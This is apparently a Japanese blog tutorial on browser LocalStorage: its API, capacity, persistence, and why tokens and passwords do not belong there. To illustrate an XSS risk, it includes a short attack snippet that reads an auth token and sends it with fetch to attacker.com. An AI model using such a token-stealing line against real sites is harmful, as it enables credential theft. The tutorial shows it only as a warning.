まず仕組みから理解する
LocalStorageは、「ブラウザにデータを保存して、次回もそのまま使える仕組み」です。 👉 サーバーを使わずに、手軽にデータを残せるのが最大の特徴です。
LocalStorageとは何か？（まずここを理解）
LocalStorageは、ブラウザの中にある「保存領域」です。
イメージとしては👇
- ブラウザの中に小さなメモ帳がある
- JavaScriptで自由に書いたり読んだりできる
- ページを閉じても内容は残る
どんな単位で保存されるの？
LocalStorageは「サイトごと」に分かれています。
例えば：
https://example.com → このサイト専用の保存領域
他のサイトからは見えない
👉 オリジン（ドメイン＋プロトコル＋ポート）単位で独立して存在しています
使い方は？
基本はとてもシンプルです。「キー」と「値」のセットで保存します。 下記のAPIが用意されています。 👉 LocalStorageは「文字列」しか保存できません。（重要）
// 保存
localStorage.setItem("username", "fox");
// 取得
const name = localStorage.getItem("username");
// 削除
localStorage.removeItem("username");
// 全削除
localStorage.clear();
// インデックス番号からキー名を取得
const keyName = localStorage.key(index);
// 保存されている件数
localStorage.length;よくある使い方
// 例①：テーマ設定（ダークモード）
localStorage.setItem("theme", "dark");
// 例②：入力内容の一時保存
localStorage.setItem("form", JSON.stringify(formData));オブジェクトを保存する方法
JSONなどの文字列に変換して保存します。
const user = { name: "fox", age: 20 };
localStorage.setItem("user", JSON.stringify(user));画像などのデータは？
BASE64に変換すれば保存可能（ただし非推奨）
👉非推奨理由：サイズが大きくなり、容量制限（約5〜10MB）にすぐ達する
永続的って本当？（重要な現実）
「永続的」とは言っても、実際には例外があります。
- 消えるケース
- ユーザーがキャッシュ削除
- ブラウザのストレージ制限に達した場合
- プライベートモード利用時
- 一部ブラウザの仕様（例：Safari）
👉 絶対に消えないわけではありません
使用上の注意点
- 同期処理で重くなる
LocalStorageは同期処理です。
👉 保存中は処理が止まる：
大きなデータだと画面が固まる可能性が高くなる 目安として、1MB以上は危険ゾーン
- セキュリティが弱い（最重要）
LocalStorageは同じサイト内のJavaScriptから自由に読み書きできてしまいます。
👉 これが便利な反面、最大の弱点です。
危険な例（実際に起こりうる攻撃）
もしサイトにXSS（スクリプト埋め込みの脆弱性）があると…
// 攻撃コード
const token = localStorage.getItem("authToken");
fetch("https://attacker.com/steal?token=" + token);👉 保存していたトークンが盗まれます
保存してはいけないデータ（超重要）
次のような情報はNGとのことです：
- アクセストークン
- パスワード
- 個人情報
- クレジットカード情報
安全に使うためのルール
実務では、次のようなルールで、使い分けの検討が必要かもしれません：
OKな用途
- UI設定（テーマ・表示状態）
- 一時データ
- キャッシュ
NGな用途
- 認証情報
- 長期保存が必要な重要データ
- 大容量データ
👉 LocalStorageは**“便利だけど制約が多い技術”**のようです
特に重要なのはこの3つ：
- セキュリティが弱い
- 容量が小さい
- 同期処理で重い
👉 この3つを理解して使用しないと、後々問題になりそうです
まとめ
- LocalStorageは簡単に使える保存機能
- サーバー不要で使える
- 非常にシンプルなAPI
- データは文字列のみ保存可能
- 容量は約5〜10MB
- セキュリティは弱い
👉 「軽い・安全でなくてもいいデータ」だけに使うのが正解のようです
RSSフィード
